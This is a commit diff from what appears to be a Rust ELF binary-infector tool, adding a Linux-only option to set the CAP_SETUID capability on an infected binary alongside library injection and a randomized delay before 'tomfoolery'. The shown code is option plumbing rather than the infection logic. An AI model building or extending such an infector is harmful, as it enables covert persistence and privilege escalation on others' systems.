feat: added the ability to set CAP_SETUID
This commit is contained in:
@@ -4,7 +4,9 @@ edition = "2024"
|
||||
version.workspace = true
|
||||
|
||||
[dependencies]
|
||||
errno = "0.3.10"
|
||||
hex = "0.4.3"
|
||||
libc = "0.2.169"
|
||||
rand = "0.9.0"
|
||||
sparse-actions = { version = "2.0.0", path = "../sparse-actions" }
|
||||
sparse-unix-infector = { version = "2.0.0", path = "../sparse-unix-infector" }
|
||||
|
||||
@@ -33,6 +33,11 @@ struct Options {
|
||||
/// How long to randomly wait (maximum) after being loaded before causing tomfoolery
|
||||
#[structopt(long, default_value = "0")]
|
||||
delay_seconds_maximum: u8,
|
||||
|
||||
/// Whether or not to set the SETUID capability on a binary
|
||||
#[cfg(target_os = "linux")]
|
||||
#[structopt(long)]
|
||||
set_setuid_capability: bool,
|
||||
}
|
||||
|
||||
fn main() -> Result<(), Error> {
|
||||
@@ -78,7 +83,16 @@ fn main() -> Result<(), Error> {
|
||||
parameters.delay_seconds_min = opts.delay_seconds_minimum;
|
||||
parameters.delay_seconds_max = opts.delay_seconds_minimum;
|
||||
|
||||
#[cfg(not(target_os = "linux"))]
|
||||
infect_elf_binary(opts.binary, opts.library_path, parameters_buffer)?;
|
||||
|
||||
#[cfg(target_os = "linux")]
|
||||
infect_elf_binary(
|
||||
opts.binary,
|
||||
opts.library_path,
|
||||
parameters_buffer,
|
||||
opts.set_setuid_capability,
|
||||
)?;
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user